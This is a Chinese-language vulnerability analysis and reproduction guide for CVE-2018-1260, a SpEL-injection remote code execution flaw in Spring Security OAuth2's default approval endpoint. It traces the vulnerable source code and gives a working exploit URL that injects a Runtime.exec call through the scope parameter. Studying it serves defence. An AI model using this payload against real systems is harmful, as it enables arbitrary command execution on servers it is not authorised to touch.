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    001-CVE-2018-1260 Spring Security Oauth2 远程代码执行.md
    9.3 KB / 2021-07-17 00:01:28
        # CVE-2018-1260 Spring Security Oauth2 远程代码执行
    
    ### 一、漏洞简介
    
    ### 二、漏洞影响
    
    * Spring Security OAuth 2.3 to 2.3.2
    * Spring Security OAuth 2.2 to 2.2.1
    * Spring Security OAuth 2.1 to 2.1.1
    * Spring Security OAuth 2.0 to 2.0.14
    
    ### 三、复现过程
    
    漏洞分析
    
    先简要补充一下关于OAuth2.0的相关知识。
    
    ![](images/15893415857965.png)
    
    
    以上图为例。当用户使用客户端时,客户端要求授权,即图中的AB。接着客户端通过在B中获得的授权向认证服务器申请令牌,即access token。最后在EF阶段,客户端带着access token向资源服务器请求并获得资源。
    
    在获得access token之前,客户端需要获得用户的授权。根据标准,有四种授权方式:授权码模式(authorization code)、简化模式(implicit)、密码模式(resource owner password credentials)、客户端模式(client credentials)。在这几种模式中,当客户端将用户导向认证服务器时,都可以带上一个可选的参数scope,这个参数用于表示客户端申请的权限的范围。
    
    ,根据官方文档,在spring-security-oauth的默认配置中scope参数默认为空:
    
    
    ```bash
    scope: The scope to which the client is limited. If scope is undefined or empty (the default) the client is not limited by scope.
    ```
    
    为明白起见,我们在demo中将其清楚写出:
    
    
    ```bash
    clients.inMemory()
            .withClient("client")
            .authorizedGrantTypes("authorization_code")
            .scopes();
    ```
    
    接着开始正式分析。当我们访问`http://localhost:8080/oauth/authorize`重定向至`http://localhost:8080/login`并完成login后程序流程到达
    org/springframework/security/oauth2/provider/endpoint/AuthorizationEndpoint.java,这里贴上部分代码:
    
    
    ```java
    @RequestMapping(value = "/oauth/authorize")
    public ModelAndView authorize(Map<String, Object> model, @RequestParam Map<String, String> parameters,
            SessionStatus sessionStatus, Principal principal) {
    
        // Pull out the authorization request first, using the OAuth2RequestFactory. All further logic should
        // query off of the authorization request instead of referring back to the parameters map. The contents of the
        // parameters map will be stored without change in the AuthorizationRequest object once it is created.
        AuthorizationRequest authorizationRequest = getOAuth2RequestFactory().createAuthorizationRequest(parameters);
    
        try {
            ...
            // We intentionally only validate the parameters requested by the client (ignoring any data that may have
            // been added to the request by the manager).
            oauth2RequestValidator.validateScope(authorizationRequest, client);
            ...
    
            // Place auth request into the model so that it is stored in the session
            // for approveOrDeny to use. That way we make sure that auth request comes from the session,
            // so any auth request parameters passed to approveOrDeny will be ignored and retrieved from the session.
            model.put("authorizationRequest", authorizationRequest);
    
            return getUserApprovalPageResponse(model, authorizationRequest, (Authentication) principal);
    
        }
        ...
    ```
    
    第115行
    
    ![](images/15893416308571.png)
    
    
    在执行完AuthorizationRequest authorizationRequest = ...后,authorizationRequest代表了要认证的请求,其中包含了众多参数
    
    ![](images/15893416382504.png)
    
    
    在经过了对一些参数的处理,比如RedirectUri等,之后到达第156行:
    
    
    ```bash
    // We intentionally only validate the parameters requested by the client (ignoring any data that may have
    // been added to the request by the manager).
    oauth2RequestValidator.validateScope(authorizationRequest, client);
    ```
    
    在这里将对scope参数进行验证。跟入validateScope到org/springframework/security/oauth2/provider/request/DefaultOAuth2RequestValidator.java:19
    
    
    ```bash
    public class DefaultOAuth2RequestValidator implements OAuth2RequestValidator {
    
        public void validateScope(AuthorizationRequest authorizationRequest, ClientDetails client) throws InvalidScopeException {
            validateScope(authorizationRequest.getScope(), client.getScope());
        }
        ...
    }
    ```
    
    继续跟入validateScope,至 org/springframework/security/oauth2/provider/request/DefaultOAuth2RequestValidator.java:28
    
    
    ```java
    private void validateScope(Set<String> requestScopes, Set<String> clientScopes) {
    
        if (clientScopes != null && !clientScopes.isEmpty()) {
            for (String scope : requestScopes) {
                if (!clientScopes.contains(scope)) {
                    throw new InvalidScopeException("Invalid scope: " + scope, clientScopes);
                }
            }
        }
        
        if (requestScopes.isEmpty()) {
            throw new InvalidScopeException("Empty scope (either the client or the user is not allowed the requested scopes)");
        }
    }
    ```
    
    首先检查clientScopes,这个clientScopes即我们在前面configure中配置的.scopes();,倘若不为空,则进行白名单检查。举个例子,如果前面配置.scopes("chybeta");,则传入requestScopes必须为chybeta,否则会直接抛出异常Invalid scope:xxx。但由于此处查clientScopes为空值,则接下来仅仅做了requestScopes.isEmpty()的检查并且通过。
    
    在完成了各项检查和配置后,在authorize函数的最后执行:
    
    
    ```bash
    return getUserApprovalPageResponse(model, authorizationRequest, (Authentication) principal);
    ```
    
    回想一下前面OAuth2.0的流程,在客户端请求授权(A),用户登陆认证(B)后,将会进行用户授权(C),这里即开始进行正式的授权阶段。跟入getUserApprovalPageResponse 至org/springframework/security/oauth2/provider/endpoint/AuthorizationEndpoint.java:241:
    
    ![](images/15893416892150.png)
    
    
    生成对应的model和view,之后将会forward到/oauth/confirm_access。为简单起见,我省略中间过程,直接定位到org/springframework/security/oauth2/provider/endpoint/WhitelabelApprovalEndpoint.java:20
    
    
    ```java
    public class WhitelabelApprovalEndpoint {
    @RequestMapping("/oauth/confirm_access")
    public ModelAndView getAccessConfirmation(Map<String, Object> model, HttpServletRequest request) throws Exception {
    String template = createTemplate(model, request);
    if (request.getAttribute("_csrf") != null) {
    model.put("_csrf", request.getAttribute("_csrf"));
    }
    return new ModelAndView(new SpelView(template), model);
    }
    ...
    }
    跟入createTemplate,第29行:
    
    protected String createTemplate(Map<String, Object> model, HttpServletRequest request) {
    String template = TEMPLATE;
    if (model.containsKey("scopes") || request.getAttribute("scopes") != null) {
    template = template.replace("%scopes%", createScopes(model, request)).replace("%denial%", "");
    }
    ...
    return template;
    }
    ```
    
    跟入createScopes,第46行:
    
    ![](images/15893417094910.png)
    
    
    这里获取到了scopes,并且通过for循环生成对应的builder,其实就是html和一些标签等,最后返回的即builder.toString(),其值如下:
    
    
    ```html
    <ul><li><div>scope.${T(java.lang.Runtime).getRuntime().exec("calc.exe")}: <input type='radio' name='scope.${T(java.lang.Runtime).getRuntime().exec("calc.exe")}' value='true'>Approve</input> <input type='radio' name='scope.${T(java.lang.Runtime).getRuntime().exec("calc.exe")}' value='false' checked>Deny</input></div></li></ul>
    ```
    
    createScopes结束后将会把上述builder.toString()拼接到template中。createTemplate结束后,在getAccessConfirmation的最后:
    
    
    ```bash
    return new ModelAndView(new SpelView(template), model);
    ```
    
    根据template生成对应的SpelView对象,这是其构造函数:
    
    ![](images/15893417368710.png)
    
    
    此后在页面渲染的过程中,将会执行页面中的Spel表达式${T(java.lang.Runtime).getRuntime().exec("calc.exe")}从而造成代码执行。
    
    ![](images/15893417434311.png)
    
    
    所以综上所述,这个任意代码执行的利用条件实在“苛刻”:
    
    * 需要scopes没有配置白名单,否则直接Invalid scope:xxx。不过大部分OAuth都会限制授权的范围,即指定scopes。
    * 使用了默认的Approval Endpoint,生成对应的template,在spelview中注入spel表达式。不过可能绝大部分使用者都会重写这部分来满足自己的需求,从而导致spel注入不成功。
    
    ### 漏洞复现
    
    利用github上已有的demo:
    
    
    ```
    git clone https://github.com/wanghongfei/spring-security-oauth2-example.git
    ```
    
    确保导入的spring-security-oauth2为受影响版本,以这里为例为2.0.10
    
    进入spring-security-oauth2-example,修改 cn/com/sina/alan/oauth/config/OAuthSecurityConfig.java的第67行:
    
    
    ```bash
    @Override
    public void configure(ClientDetailsServiceConfigurer clients) throws Exception {
       clients.inMemory()
                .withClient("client")
                .authorizedGrantTypes("authorization_code")
                .scopes();
    }
    ```
    
    根据[spring-security-oauth2-example](https://github.com/wanghongfei/spring-security-oauth2-example.git)创建对应的数据库等并修改AlanOAuthApplication中对应的mysql相关配置信息。
    
    访问:
    
    
    ```bash
    http://url:8080/oauth/authorize?client_id=client&response_type=code&redirect_uri=http://www.github.com/chybeta&scope=%24%7BT%28java.lang.Runtime%29.getRuntime%28%29.exec%28%22calc.exe%22%29%7D
    ```
    
    会重定向到login页面,随意输入username和password,点击login,触发payload。
    
    ![309fe027595247208a7ef064cbb826a9](images/309fe027595247208a7ef064cbb826a9.gif)
    
    
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